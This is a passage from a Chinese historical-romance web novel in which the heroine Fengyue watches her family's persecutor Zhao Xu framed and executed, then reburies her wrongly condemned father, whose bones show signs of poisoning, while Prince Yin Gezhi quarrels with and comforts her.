封明翻身躲过,看着他这袍子就恼。殷戈止面色森冷地继续动手,看见他这个人更恼。双方都火气高涨,这一架打得就格外激烈。
风月抱着脑袋就躲了出去,完全不能理解地听着屋里的动静,一把抓过提着热水壶过来的灵殊,指着屋子问:“他们是不是有病啊?经常打架就算了,这次为什么一个理由都不给又打起来了?”
灵殊茫然,看着眼前飞出来的桌子椅子,弱弱地问:“要请个大夫来看看吗?”
风月捂脸,伸手将她推走避免误伤,然后拽了秋夫人过来:“您来劝个架啊!”
“呯”地一拳打在下颔上,封明啐了口血,狠狠一拳还在了殷戈止的腹部。战况激烈,看得秋夫人连连摇头:“这劝不了的。”
“为啥?”风月瞪眼。
“您都不知道他们为什么打,那咱们怎么知道?这儿没人功夫比这两位好,送上去也只能徒增伤员。”秋夫人叹息:“不过封家小子不懂规矩惯了,我可以理解,但王爷这是怎么了?那么稳重的人,今儿也打起架来了?”
风月沉默,心里大概能猜到点原因。殷戈止可能是想起她不是完璧之身的事儿了,以为她跟封明……这事儿可不能解释,一解释,相当于她跑过去指着自己跟人说,看呀,三年前没脸没皮没羞没臊送去东宫伺候你的人里就有我呀。
想起自己那段为情所困不管不顾的过往,风月就想拿头撞墙!咬咬牙,干脆自己冲上去,一把将封明扯在身后,看着殷戈止道:
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“不是他!”
即将挥到她面前的拳头生生停在半空,殷戈止血红着眼,心口起伏,失笑出声:“你还护着他?”
“……”这真的不是护着不护着的问题,风月抹了把脸:“当真不是他。”
“那是谁?”眼眸转冷,殷戈止道:“你刚刚还说过的话,自己就不记得了?还是觉得我记性不好,会忘掉?”
你与封明有婚约,还会与别人私定终身吗?
不会。
想起这话,风月恨不得给自己来一巴掌!什么叫搬起石头砸自己的脚,什么叫说谎话没有好下场,这就是了!
“王爷您先冷静点听我解释。”她干笑,眼珠子滴溜溜地转。
一看这神色,殷戈止就摇头,眼神陡然冷下来:“是听你解释,还是听你编故事?”
“关清越,是不是我当真对你太好了,以至于你觉得你说什么我都会相信?”
清冷的声音响彻整个院子,听得人心里莫名发紧。
风月不笑了,有点茫然。
她为什么会跟他一起纠结于这件事啊?这些事算什么要紧的吗?不算啊,会影响大局吗?不会啊。况且,当年风流薄幸满天下的是他殷大皇子啊,现在是凭什么这么理直气壮地在这儿质问她?
深吸一口气,她回神,正经地看着面前的人道:“王爷不爱听,那奴家就不编了。您要杀要剐随便,要是没别的事情,奴家还有事要做,就不陪王爷耽误工夫了。”
喉咙一甜,殷戈止闭眼,哑然笑了笑。
瞧瞧,女人果然是不能宠的,一旦宠坏了,压根就不会考虑他的感受了。
好一个要杀要剐随便,她是仗着他不会拿她怎么样,所以才这般有恃无恐。
有恃无恐啊……
摇了摇头,殷戈止转身,咬着牙往外走。步履沉重,眼里翻江倒海。风卷衣袍,轻薄的白衣翻飞,秋夫人在门口感慨地看着,那袍子落下,背后的封明皱着眉,风月一脸平静,只院子里的一树石榴花开得正好,红艳艳的。
看着殷戈止的影子消失在门外,风月才动了动,若无其事地坐下去继续写东西。
封明侧头,问了她一句:“你是当真不喜欢他了吗?”
风月不耐烦地道:“你要是非得跟我说这些情情爱爱的,那我就对你不客气了。”
微微一怔,封明摸着鼻尖低笑:“虽然觉得你现在同我亲近些很好,可也总少了以前那剑拔**张的趣味儿。你要是当真对我不客气,想来也不错。”
风月眯眼,转身就想捏着他的衣襟将他扔出院墙。
然而,手一软,她才想起来,自己现在哪里还有本事对人不客气啊?
微微皱眉,封明低头看着她的手:“一早就想问了,你身子是怎么了?先前还很利索的,如今跳墙都能摔着,想抓我,竟然也使不上力。”
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第140章 以彼之道 还施彼身
睫毛颤了颤,风月想收手,手腕却被人抓住了,忍不住扭头就喊:“秋夫人,救命啊!”
还在门口看着殷戈止离去的方向发呆的秋夫人回神,连忙过来将封明的手掰开:“少主现在身子本来就不好,你使那么大力做什么!”
慌忙松开手,封明皱眉,瞧着风月也没有要说的意思,想了想,道:“秋夫人随我去问候一下尹将军吧。”
“嗯?”秋夫人一愣,想起尹衍忠曾经是封明的师父,觉得也是情理之中,于是点头,让风月继续写东西,便带着他出去了。
结果一出门,封明就问她:“她那铁打的身子,怎么变成这样了?”
秋夫人一愣,抿唇垂眸:“具体发生过什么,咱们这些人也是不知道的,只知道少主从牢里出来就被人断了手筋,问她她也没说过此事。”
被断了手筋?!倒吸一口凉气,别的都不听了,封明直接扭身就冲回了风月面前,眼里满是震惊,想伸手又怕伤着她,就站在她旁边问:“你的手?”
揉了揉太阳穴,风月叹息:“我没什么大事儿,您千万别表现出一副心疼我的样子,都过去这么久了,您这样会让我觉得很难受,没法儿自处,明白吗?”
练了十几年的功夫,说没就没了,她何尝不心疼,不怨恨啊?但这伤口她已经好生用土掩埋,就不必用那种眼神去把土刨开,让她再想起来吧?学学殷戈止啊,冷漠也有冷漠的好处,半点不跟她提这些事,多省心啊。
硬生生将一口气咽下去,哽得喉咙一路疼到心口,封明闭嘴,抹了把脸,咬牙道:“好,我不提,你告诉我谁干的,我杀了他!”
谁干的?风月失笑,侧眼过来睨着他,眼波潋滟:“那可不止一个人,也不是你想杀就能杀得了的,除非你搭上整个镇国侯府,给你陪葬!”
微微一凛,封明冷静了下来,可看着她这样子,他实在难受,想了想,径直拿了她面前的笔墨,抽了一卷白纸,开始写折子。
既然不能杀了害她的人,那就帮她做她想做的事情吧!
于是,皇帝收到的第一份落井下石的奏折,就是来自封明的。奏折言辞激愤,指出赵旭在民间搜刮民女,还打的是要献给皇帝的旗号,实则无一人送进皇宫,行为实在恶劣,影响圣誉。
有这样一个开头,朝中其余人的奏折也纷纷上来了,挖出赵旭不少恶事,欺上瞒下,还结交党羽,妄图掌控兵权。
这些人会写折子啊,专挑皇帝的痛处戳,让他看了想原谅赵旭都不行。
三司审理,赵旭有官职在身,本是不会受严刑拷打的,但是很不巧,孝亲王最近心情不好,往太尉衙门走了一趟,看望了一下赵旭,接着太尉衙门的人审理起人来就丝毫不手软了,有什么刑具用什么刑具,甚至还从大理寺调用新出的特殊刑具。
赵旭遍体鳞伤,心里愤懑难平:“微臣是冤枉的!陛下!微臣没有弑君之意,没有!”
“没有吗?”主审廉恒严肃地道:“可你府上的家奴都已经招供,说是受你指使,有意毒害陛下。”
“荒谬!”赵旭嘶吼:“我深得陛下宠幸,做什么要毒害陛下,引杀身之祸,你不觉得说不通吗!”
“本来的确说不通。”廉恒伸手,拿了一份誊抄的奏折出来,扔在他面前:“但三司严查得知,你祖上是前朝重臣。”
赵旭一愣,接着摇头:“我祖上是祖上,我是我!”
“这话,陛下不信。”廉恒摇头:“有宋慧帝和雷益的先例在前,大人既不能给出自己被冤枉的证据,又没有抓到凶手,再有百官上书,列举大人之过,大人谋害陛下之罪,想必很快就会定案。”
“不……不……”赵旭眼泪直流:“他们冤枉我,我没有要弑君,我没有!”
“大胆!陛下亲身所经,百官齐齐所证,你也敢喊冤枉?!”
猛地摇头,身上锁链“哗啦”直响,赵旭怒骂:“文武百官算什么证人!他们分明是见风就倒,一帮没骨头的东西!当年关将军不也是证据都没全,他们就急忙要定案吗!他们说的话,哪里信得啊!”
廉恒一震,一巴掌拍在桌上站了起来:“你瞎说什么!关氏叛国,不是证据确凿吗!”
“廉将军,亏你还曾是关苍海最信任的副将。”赵旭失笑:“咱们陛下什么德性你不知道?百官又是什么风气你也不知道吗?墙倒众人推,就像今日的我一样,当初的关将军,也是被这样冤死的啊!”
廉恒大惊,脸色瞬变,差点没站稳。
他是最铁面无私的,所以关苍海被指叛国之时,即便是他最崇敬的人,他也没求过情。当时朝野上下一片讨伐之声,言之凿凿,他也就理所应当地觉得关苍海当真叛国了,甚至为此恨过他。
然而,竟然是被冤枉的?
“陛下想要他死,文武百官也就顺着话说要他死,我是头一个上奏要关家灭门之人,可关家到底叛国没有,连我也不得而知。”赵旭抖着嗓子道:“我没想到啊,没想到有一天这样的命运会落在我自己身上!廉将军,我是被冤枉的啊!”
轻轻往后退了几步,廉恒转头就想出去。
然而,透着微光的门口,孝亲王负手而立,挡住了他的去路。
“既然已经冤**一个忠臣,那何妨再冤死一个奸臣?”阴冷的声音在这天牢里响起,听得人背脊发凉。廉恒皱眉抬头,看着他道:
“王爷,国有国法!”
“这话,本王也曾同人说过。”慢慢踏进牢房,殷戈止嗤笑一声,盯着廉恒道:“可惜在陛下眼里,国无国法,全凭一己喜好做事。那,冤**又如何,不冤死又如何?”
廉恒一愣,很是不能认可,却见殷戈止伸手拿起他桌上的罪状,一张张看过之后,抽走一张,剩下的都放在了他手里。
“难得朝中还有讲律法的人,那就讲律法吧廉将军。这些罪状,都是确凿无误的,您不用担心会冤枉他,而这一份。”扬了扬手里的弑君罪状,殷戈止淡淡地道:“就由本王去交给陛下吧。”
廉恒皱眉,捏着那些状纸看了看,颇为
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恼怒地转头盯着赵旭:“你也配和关家一案相提并论?!”
赵旭傻眼了,他没想到孝亲王会来这种地方,还会再对他落井下石。
“王爷!”他咬牙:“老臣与王爷到底有什么深仇大恨,能让王爷如此痛恨?!”
说着,想了想,转着眼珠子道:“难不成是因为关家一案?王爷与关家之人有私交,要替他们报仇吗!”
斜眼看了看他,殷戈止慢慢蹲下来,平视着他满脸的血,淡淡地道:“你想多了。”
“本王只是闲得没事做罢了。”
被他这一句话气得吐了口血,赵旭怒骂:“竖子!”
“嗯,本王听见了。”站起身,殷戈止转头示意廉恒写罪状:“他辱骂皇室。”
廉恒:“……”
于是这天傍晚,还在调理身子的魏文帝就收到了厚厚一叠关于赵旭的罪状。
长叹一口气,魏文帝侧头问侍药的南平公主:“你也觉得赵旭该死吗?”
南平重重地点头,苦口婆心地道:“父皇,您的英名怎么能被这么个坏人给拖累了?就算与您一样喜欢书法字画,可他也不一定就是个好官呀,瞧瞧做的这些事,皇儿瞧着都觉得心惊。为了平息民愤,父皇还是下旨斩了他最好!”
有了这么个台阶下,魏文帝心里就舒坦了,沉痛地下旨昭告天下,然后判赵旭斩立决。
“皇上!皇上!”被押在囚车行在街上的赵旭一路高呼:“我是冤枉的!皇室不正,百官不清!皇室不正,百官不清那!”
廉恒带着护卫押送,走在最前头,突然想起了当年他押送关家二少爷赶赴刑场的场景。
关清穆秉承了其父的风骨,一路上一句话也没有说,背脊挺得很直,哪怕穿着囚衣,也像穿着盔甲。
四周是百姓的谩骂,他充耳不闻,双眼盯着前头,眼里却是什么东西都没有。
廉恒当时的心情很沉重,也很想问问他关苍海到底为什么叛国,终究是没能问成。然而现在,他明白了,真正受了巨大冤屈的人,可能连喊冤的力气都没有,心如死灰,满眼都是对皇室的失望而已。
捏着缰绳的手紧了紧,他突然很想去给关将军磕头,关将军的坟,只有他知道在哪里。
正想着呢,冷不防就看见关清越的眼睛,在人群里一闪而逝。
廉恒惊得勒马,再定睛一看,却像是他眼花,四周都是普通的百姓,哪儿来的关清越?
想起自己曾经收到却并未理会的那封信,廉恒皱眉,心事重重地继续往前走。
风月乔装打扮,站在了刑场外头。
这刑场在她梦里无数次地出现过,刑台上头流淌的都是关家人的血,老的少的,血都融成一处。
如今,刑台上哭声震天,她却听得心里格外舒坦。
终于轮到这些老贼了!
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第141章 我的命都是她的
赵旭的叫声何其凄惨,声嘶力竭,怨气冲天:“微臣没有弑君之心,没有弑君之心呐!奸贼冤我,奸贼冤我!”
风月微笑,只觉得万分痛快,心口堵着的恶气瞬间松了一小半。
赵旭当初多巧舌如簧啊,进谏惑主,求自身荣华富贵,降关家满门抄斩!如今冤死在同一个刑台上,这才算是报应,谁要他死于律法?她偏要他死在自己犯过的罪孽里!
可惜她说不得话,要是说得,当真想问他一句——
“关家人当初跪在这里的滋味儿,你可尝到了?”
一袭三爪白龙袍扫过赵旭面前,清冷如秋霜的声音在刑台上响起。
有那么一瞬间风月当真以为自己说出了这句话,可听着声音怎么不对劲啊?
抬头一看,殷戈止面朝赵旭站着,背影萧然。
眼里划过一道奇异的光,风月抿唇,看了看一旁监斩官的位置。
观止捏着刀鞘站在空空的座位旁边,一脸严肃。
监斩的,竟然是殷戈止。
心里有点怪异的感觉,说不上是怨恨还是感慨,风月叹息,听着赵旭的哭喊声,看着殷戈止回到监斩台上。
午时一到,“斩”字令扔了下来,刽子手的刀在骄阳下高高举起,闪闪发光。
没看最后那鲜血四溅的场景,风月扭头,听着四周人的低呼,慢慢地往人群外头走。
“堂堂太尉啊,竟然说砍就砍了。”
“呸,他没做什么好事,不砍他砍谁?听说半个月前毒害圣上,这半个月又翻出不少其他罪证,肯定是死罪呀。”
“是该死,可是总觉得……咱们澧都像是要变天了。”
悉悉索索的议论声中,风月站在了刑场出口的地方。散场的百姓纷纷从她面前经过,接着是退场和收尸的护卫,到最后,孝亲王乘着轿子出来了。
“观止。”贼眉鼠眼地凑上去,风月顶着一脸络腮胡,扯住了人家的袖子。
被她这装扮吓了一跳,观止险些喊“抓刺客”!然而一看这眼神,他冷静了一下,试探性地问:“风月姑娘?”
旁边的轿子停了下来,风月嘿嘿笑着,却见轿子里头的人没有要出来的意思。
挠挠脑袋,她道:“没啥事,就是谢谢你家主子,没有他,赵旭也不会这么快伏法。”
懂得感恩是个很重要的事儿啊,就算没求人家帮忙,人家帮了,那也得道谢,不然以后谁肯帮你啊?
观止一喜,立马扭头喊了一声:“主子?”
轿子里没个回应,空气凝固了片刻。片刻之后,殷戈止的声音不带感情地响起:“与我无关的事,有什么好谢的。观止,走。”
啥?观止一脸错愕,看了看轿子,又回头看了看风月,挥手就示意轿夫先走,然后站在原地小声问风月:“姑娘与主子吵架了?”
吵架么?摸了摸下巴,风月道:“不算吵架吧,大概只是他生我的气。”
生气的原因也莫名其妙,就因为在他眼里她不是完璧跟的他。啧,御女无数的殷大殿下,也好意思生这种事的气?
那气就气吧,气死活该!她贞操观念本就淡薄,被儒学大家们知道了,可能还要口诛笔伐的那种。他当真介意,那去找个完璧之身好了呀,跟她较什么劲?
翻了个白眼,风月也转身就走,脸上的络腮胡子一翘一翘的,瞧着有点可爱。可惜没人看见,她很快隐入人群,消失得没了影。
殷戈止掀开轿帘,半垂着眼看了看外头,不悦地喊了一声:“观止。”
“主子。”几步追上去,观止低头:“属下在。”
轻哼了一声,殷戈止没说话,微微抬着下巴,像是想问什么。
观止立马会意:“风月姑娘已经走了,没说什么话,只说主子在生她的气。”
知道他生气,也不多说几句?殷戈止嗤笑,放了帘子冷漠地想,当真是他对她太好了,所以她觉得不用在意他?等着吧,总有要求他的时候!
赵旭一死,朝中虽然表面上一片赞扬,实则众人也畏惧魏文帝的喜怒无常,纷纷谨慎起来。
作为第一个对赵旭之事上奏本的人,封明被魏文帝叫去了御书房谈话,之后就卸了宫门守卫的职务,享将军俸禄,赋闲在家,等待征战。
此事一出,朝中更会是人人自危,镇国侯府上客人络绎不绝,都是来问情况的,然而封明一个都没接见,倒是只身跑去了大杂院,对着风月直摇头。
“咱们陛下真是阴晴不定。”
递了茶杯给他,风月皱眉:“连累你了。”
“不算连累,反正守宫门也不是什么好差事,当初回澧都,皇帝给我这职务,也不过是为了名正言顺将我手里的兵权拿回去。”封明摆手,满不在乎地道:“倒是让我见识了,什么叫一入宫门深似海。”
一口茶差点喷出来,风月眯眼:“将军,要是没记错,这是后宫嫔妃们该说的话,您说出来是个什么意思?”
“哎呀,就是皇帝的心思太多了,实在难猜!”封明摇头叹息:“本来我以为上阵杀敌精忠报国就能施展抱负,然而一场仗回来,听着皇帝那些个弯弯绕绕的话,我才发现魏国的将军当得真没意思,出去要跟敌人打,回来还要被皇帝打。”
怨不得殷戈止情愿去吴国为质了,现在想想,还是不当将军最舒坦。
风月笑而不语,拿了绿豆糕嚼着,看封明继续说。
比起殷戈止的沉默,封明就活泼多了,哪怕她不说话,这人也能自己说上许久:“如今这朝野之中,官风也不正,要说有风骨的,可能就杭大学士和石丞相两人了,当初关家的案子,满朝官员跟着赵旭上书,只他们称病避谈。如今风雨将起,也是他们在陛下面前劝谏,让陛下不要偏听偏信。”
杭翰义和石鸿唯吗?风月耸肩,他对这两人了解不多,毕竟除了短暂的休假,她都是跟着关老头子征战在外的。
不过……想起个人,风月眯眼,转身去看了看尹将军他们搜集来的消息整合册,一翻就翻到个名字。
石有信。
此人乃魏国廷尉,当年关家一案的主审,用两天的时间
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,不问罪,不查证,直接定了案。
赵旭是煽动皇帝的人,而石有信,才是真正冤死关苍海的人。
眯了眯眼,风月合上册子,扭头出去就问封明:“你认识石有信吗?”
石有信?封明点头:“当朝廷尉大人,听父亲说,是石丞相的远房侄子,但与石丞相不太亲近,素日上下朝都不说话的,风骨也是大不相同。”
竟然当真是一家的?风月唏嘘,原来一家里头的人,也能如此泾渭分明。
“你问他,是想去了解当初关家的案子吗?”封明道:“这个人不好见,先别说他总是忙碌,就算空闲下来,也是不愿意见客的。”
风月笑了笑:“大门不出二门不迈?”
“也不是,他好像常去文林街一家书院,那书院叫什么我不知道,也是听人无意间提过一句。”
文林街?风月点头,正想着要不要去看看,结果就见灵殊蹦蹦跳跳地进来道:“主子,秋夫人来了。”
伸手塞给她一块绿豆糕让她去玩,风月抬头就看见神色古怪的秋夫人站在门口。
“出什么事了?”
手里捏着封信,秋夫人有些戒备地看了封明一眼。
寻常知道看眼色的人都会回避一下,然而,封大将军并不喜欢看人眼色,皱眉就道:“连我都防着?我命都是她的,你怕个什么?”
风月黑了脸:“将军,您的命什么时候是我的了?”
讶然回头,封明一脸震惊地看着她:“你忘记了?”
“啥?”
“你十五岁那年,我不是说跟你打一架,你输了便是我的人吗?”
望了望苍天,风月好像想起这回事了,彼时的封小世子,此话一出就被她暴揍一顿,半躺在地上口齿不清地道:“哇呼了,哇是泥的赢了。”
这句话说的是什么当时的关清越并没有在意,只冷哼了一声,留给他一个潇洒的背影。
现在想起来,风月抹了把脸,干笑:“将军记性真是好。”
封明一脸认真:“同你有关的事情,我向来记得清楚。”
秋夫人打了个寒颤,也不管那么多了,直接把信塞到风月手里,愤恨地转身往外走,一边走一边碎碎念:“欺负我守寡多年,现在的年轻人说话真是不庄重……”
不庄重的年轻人眼神灼灼地盯着风月,后者定了定神,打开了手里的信。
竟然是廉恒写的,也不知道怎么联系上了秋夫人,信上就一个意思,他想赎罪,请她往澧都以东的照影山下一会,有关于将军的要事告知。
关于将军的要事?风月一脸冷漠地想了一会儿,眼神陡然炙热,二话不说,立马追出去喊了一声:“秋夫人!”
“啊?”秋夫人停住了步子回头。
胸口起伏得有点厉害,风月颤抖着声音道:“请写信的人即刻前往照影山,我在那边等他!”
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第142章 青山有幸埋忠骨
这个时辰?秋夫人看了看天色:“少主,这会儿过去,怕是要天黑了。”
“给我一匹马就成。”
封明跟出来道:“我骑了马来的,我带你去。”
“有劳。”嘴里有礼地说着,手上却是直接一把拽过人家的袖子往外扯。
难得看她这么急躁,封明也不敢怠慢,搂着她上马,一路就往东城门飞奔。
殷戈止面无表情地从文林街的济天书院出来,就差点被这飞驰的马给撞着。一个侧身躲过,看着上头两个影子,皱了皱眉。
“主子,那好像是风月姑娘。”观止瞧了一会儿道。
“我不瞎。”眯了眯眼,殷戈止冷漠地道:“是她又如何?”
观止垂头,心想不如何就不如何吧,虽然看起来像是有什么急事,还跟封将军一起,但主子不在意的话……
“把马牵过来。”殷戈止冷声道。
观止:“……”
马蹄声声,直奔照影山。一说这地方,风月难免就想起了殷戈止第一回挖坑给她跳的时候,问的就是去照影山看看如何。
照影山在魏国很是有名,因为早些年有人说在上头看见过神仙,故而此山就成了风水宝地,无数人赶着要来这儿安坟,坟包错落,很是壮观。
当初关苍海在牢里“畏罪自尽”,听闻是廉恒奉旨收尸,只有他一个人知道埋在了哪儿。所以一收到那信,风月就猜到了廉恒说的要事是什么,连忙赶来。
然而,等了许久,也不见人来。
封明皱眉,侧头道:“你是不是太急切了些,万一是有人诈你的呢?”
“当初我逃出来,被尹将军带出了澧都,想着总有一日要回来复仇,便写了很多密信,邀与父亲关系甚好的人共谋此事。接到信没来的,只有廉恒一个人,也就是说,除了大杂院里的人,只有廉恒知道我还活着。”
想起此事,封明沉声道:“你胆子也太大了,万一这些人之中有人怀不善之心,将你还活着的事捅出去怎么办?”
“不会。”风月摇头:“父亲信任过的人,定是正直良善,嫉恶如仇之辈。知道父亲含冤,就算不愿意与我谋事,也断然不会出卖我。”
她猜得没错,廉恒虽然不知为何没来,但三年过去了,魏国也没有半点抓捕她的风声。
沉默了片刻,封明还是忍不住问:“那你为什么不写给我?我也可以帮你啊!”
嘴角抽了抽,风月道:“封将军,您是堂堂镇国侯府的世子,我要是将您一起拐走了,岂不等于惊动了整个澧都?”
原来是这个原因啊!封明心里舒坦了,咧嘴笑得露出一排洁白的牙,正想再说,就听得有马蹄声由远及近。
两人回头,便见廉恒策马而来,一看见风月,眼神灼灼,下马便行礼:“少将!”
被这称呼喊得心里一痛,风月抿唇,看着他道:“统领言重了,这哪里还有什么少将。”
廉恒抬头,看着封明也在,愣了愣,不过旋即想起两家的婚事,便没问,只低头道:“卑职有罪,听凭人云亦云,误会了关将军,故而想让秋夫人传话少将,好歹让少将知道将军身葬何处。”
拳头紧了紧又松开,风月笑得疏远:“请统领带路吧。”
廉恒一愣,缓缓起身,眼里满是自责,但看了看风月这表情,也自知无颜多说,便上马引路。
照影山的西面多坟,山顶上有“清官冢”,山腰上多是“贵人墓”,而山脚下,则是“乱葬岗”。
风月跟着廉恒,很想往上多走走,然而,廉恒只穿过一片树林,就在一处地方停下了。
“这……”
小小的土包不知被谁踩过,凌乱的土里混着隐约可见的白骨,廉恒有些惊慌,连忙转头道:“将军的坟还在前头,少将再走两步。”
“是吗?”看了看前头,风月道:“没到的话,您停下来做什么?”
“……”廉恒惯常不会撒谎,快四十岁的大汉,此时被憋得脸色通红,眼神慌张极了,完全没有平日里威震四方的模样。
怪他太急了,怎么就没先来看看便写信给了少将,这样的葬身之地,让她瞧着情何以堪……
风月低笑,轻轻推开他,在那小土包旁边蹲下,看了一会儿,伸手想去挖。
“月儿!”封明皱眉。
“少将!”廉恒咬牙,“扑通”一声跪了下来,朝风月磕了三个头:“将军当年获罪而死,实在无法入殓,本是要直接弃于乱葬岗……”
“嗯。”点点头,风月刨着土,将那隐约可见的白骨上头的土都刨开,低声笑道:“统领不必惊慌,晚辈没有责怪的意思,没让父亲的尸骨喂了野兽,晚辈便心存感激。只是晚辈既然还在,便该给他换个地方安身。”
廉恒哑然,苦笑一声,跪着不动。
封明想上去帮忙,可一看风月的表情,还是站着让她自己动手。
土埋得薄,看起来不像个坟,无怪有人在上头踩,踩的人多了,骨头也就露出来了。三年过去,关苍海什么也没剩下,只给她剩下了一副硬骨头。
真是硬骨头啊,以前旁人这么喊他,她听着还只觉得是恭维,现在当真将这些骨头抱在手里,风月失笑,忍不住也喊了他一声:“关硬骨头。”
肉都腐烂了,骨头半黑半黄,她慢慢地挖着,动作轻柔,记得关苍海肩上有伤,挖肩膀部分的时候都是用指腹抹的,记得他腰不好,将骨架都挖出来的时候,便小心翼翼地想扶出来。
然而,一受力,那骨架“哗啦”一声散落,惊得风月缩了缩肩膀,睫毛直颤。
封明看得心疼,想上去扶她,风月却飞快地蹲下来,将外裳脱了铺在地上,把关苍海的骨头兜了起来,眼睛亮亮地道:“这样就可以了!”
“少将……”廉恒咬牙:“卑职明日就去找修墓的工匠,给将军修个墓。”
“不用啦。”风月摆手:“晚辈自己来,廉统领是外人,这种事该子女来做。”
廉恒一顿,正觉得心里难受,又听得她道:“不过统领既然管着护城军,可不可以放晚辈带着这些尸骨回去?不然晚辈会被扣在城门口的咧。”
“…
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…好。”廉恒应了,看着她把尸骨包好抱在怀里,犹豫了一番,道:“若是有什么帮得上忙的地方,少将只管吩咐。”
“统领客气。”风月颔首,抱着一大包骨头,想上马,却半晌都上不去。
封明在她后头,伸手掐着她的腰,一下便将她扶了上去。风月咧嘴,看着他坐在自己身后,便道:“时候不早啦,快些回去吧。”
“好。”
两匹马一路往城门飞驰,旁边的大树后头,殷戈止皱眉看着,翻身上马就从另一条路回去。
封明以为风月会哭,然而她一路竟然都是笑眯眯的,像是抱着了骨头就分外满足,路过一家殡葬铺子,她道:“你们先走吧,我置办点东西再回去。”
封明皱眉:“我陪你。”
“不用不用。”风月摆手:“我想一个人尽孝心,你们谁都不用帮忙,快走吧。”
看了看这殡葬铺子,封明叹息,下马将她抱下来,然后上前去敲门。
天已经黑了,殡葬铺子做生意却是不分时辰的,一看有客人,便将风月接了进去。封明站在外头,不放心地看着那门关上,过了一会儿,才跟廉恒一起继续往前走。
殡葬人引风月去后院,本是问她要买什么,可一看她怀里抱着的东西,又看了看她那神色,很是体贴地给她指了指旁边哭灵的位置。
风月颔首,寻了口空棺,将关苍海一点点摆进去,摆成个骑马杀敌的滑稽形状,逗得自己咧嘴笑了笑。
笑着笑着,眼泪就下来了,跟下雨似的,第一滴下来,后头的就接连不断,倾盆漫山。
殷戈止无声无息地看着她,本是一脸冷漠,可听她哭着,心头跟着绞痛,忍不住就上去,一把捏住了她的嘴。
“别哭了!”
泪眼朦胧,风月眨眼半晌才看清这人是谁,打着嗝哽咽:“我……我在这儿哭也……也碍着王爷了?”
“嗯,碍着了。”脸色很难看,殷戈止道:“你哭的样子最丑了,鼻涕好长一条,不擦擦吗?”
瞪着他看了一会儿,风月“哇”地一声哭得更凶,眼泪鼻涕都流到了他手上:“你……你管我有没有鼻涕!我爹是忠勇大将军啊!**没有将军墓就算了,棺材……棺材都没有一副……”
凭什么啊!到底是凭什么让他死都不得个体面!
眼里满是嫌弃,殷戈止看了她一会儿,却没把人扔开,手一收,反而是拢进了怀里。
风月边哭边踩他:“你来做什么……不是生气呢么?”
“是啊,现在也还是生气。”殷戈止淡淡地说着,手上温柔地摸着她的脑袋:“气得不想帮你做任何事,气得不想理你。”
“但是,你哭得这么惨,胸口还是借你靠一下吧。”
冷漠无情的语气,透着一股子施舍的味道,风月咬牙,眼泪鼻涕全往他袍子上擦!末了一把将人推开,红着眼平静地道:“多谢。”
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第143章 何德何能
瞧这样子,倒是有两分傲骨了?殷戈止哼了一声,不经意地扫一眼旁边棺材里的骸骨,正想着行个礼,却冷不防觉得哪里不对劲。
“风月,你仔细看过这尸骨吗?”
正努力平息心境,却听旁边这人说了这么一句话,风月咬牙,扭头就骂:“您懂不懂什么叫尊敬啊?就算老头子生前我没怎么尊敬他,可现在了您还盯着骨头看不成?”
殷戈止当真在盯着看,看得风月不顾礼节一脚就踹了过去。然而,即便没看她,殷戈止也是轻松躲开,然后将她拉过去,掰着她的脑袋让她看棺材里。
风月皱眉,心里悲戚未消,一看关苍海的尸骨,眼泪就又要上来了。
嗯?等等。
眼角余光瞧见点暗色,风月使劲眨了眨眼,掀开殷戈止的手,凑近看了看。
棺材旁边燃着四个高脚烛台,映着光,那肋骨上的黑色显得尤为清晰。
“如果我没记错,他们说,关将军是畏罪自尽。”殷戈止眉头微皱:“可这瞧着,怎么像是服了毒。”
风月一愣,失笑出声,扭头就瞪他:“你还当真相信关苍海会畏罪自尽啊?他又没叛国,怎么畏罪?那么硬骨头的人,怎么自尽?这尸骨瞧着多半是**而亡。至于天牢里哪儿来的毒,这个不用我说吧?”
殷戈止闭眼,低声呢喃:“天牢之中,会发生这样的事吗?”
嗤笑一声,风月道:“王爷,我还进过吴国的天牢**呢,您魏国的天牢又有多严实?再者,当时骂关苍海叛国的声音颇大,上至朝臣,下至百姓,关苍海死不认罪,天牢给不出交代,还能有什么路走?”
所以,关苍海,是被人毒死在大牢里,扣上“畏罪自尽”的帽子的?殷戈止沉了脸,眼神陡然凌厉。
这就是他以前信任过的三司审案,这就是他以为办事公允的石廷尉!亏得今日见石有信一面,他还说什么关将军可惜了,如今看来,关苍海的死,跟他脱不了干系!他主审的案子,谁在他眼皮子底下**,他会不知道不成?!
吸吸鼻子,风月懒得理他,蹲在棺材旁边,嘴巴一扁就继续掉眼泪。泪水落在脚下的泥土里,滴滴答答地渗进去。
想了一会儿,殷戈止侧头看她。本想转头走了,可听那断断续续的哽咽声,心口还是闷疼。
冤孽啊……
他闭眼,俯身下来将地上蹲着的人整个儿抱起来,轻声说了一句:“不哭了。”
身上一点力气都没有,风月伸手去扯他的手也是徒劳,愤恨地道:“要你管!”
“我不管,你有本事自己去报仇,别再哭了啊!”殷戈止皱眉:“哭得太烦人了。”
“仇我自己会报,倒是您,三更半夜的来这儿做什么?”风月咆哮:“走了不就不烦了?”
“……”从小到大,哪儿有人敢这么吼他啊?就算他欠了她的,听见这话,那也该走了!
可是,手上抱着人,心口被塞满了似的,压根不想放。
殷戈止抿唇,轻声问:“我有几块上好的金丝楠木,你想不想要?”
哭声顿止,风月愣了愣,问:“那是什么?”
深吸一口气,殷戈止低笑:“做棺材最好的木头,别处买不到的。”
既然走的时候没个好体面,那现在肯定是要最好的东西!风月想了想,厚着脸皮点头,立马忘记自个儿刚刚吼着让人家走的话了,眨巴着眼问:“我要,王爷就给?”
“嗯,我让人做成棺材,做好了再送来。”
“那好。”抹了把脸,风月点头:“我不哭了。”
还真是说不哭就不哭了?殷戈止摇头,顺手拿了旁边放着的香,在烛台上点了,恭恭敬敬地给关苍海行了礼。然后转身,找到殡葬铺子的掌柜,嘀嘀咕咕了好一会儿。
于是,第二天天亮,大杂院那一群人赶过来的时候,就见白幡已经挂好,所有事情也都已经妥当。眼睛红肿的风月枕在殷戈止的腿上,睡着了也一脸疲惫。
听见点动静,风月立马睁开了眼,看见罗昊等人,便松了口气,坐起来道:“昨儿晚了没知会你们。”
秋夫人一脸焦急,想说什么,便看见了旁边放着的棺材,当即噤声,所有人站得规规矩矩,朝临时放着骸骨的棺材行了九个大礼。之后,秋夫人才哽咽着道:“封将军昨儿差人来知会过一声,我们也知道少主定然的很难过,所以才不回去。可是一晚上的,谁都没能睡好觉!”
“抱歉。”风月起身,拿了旁边的香递给他们。
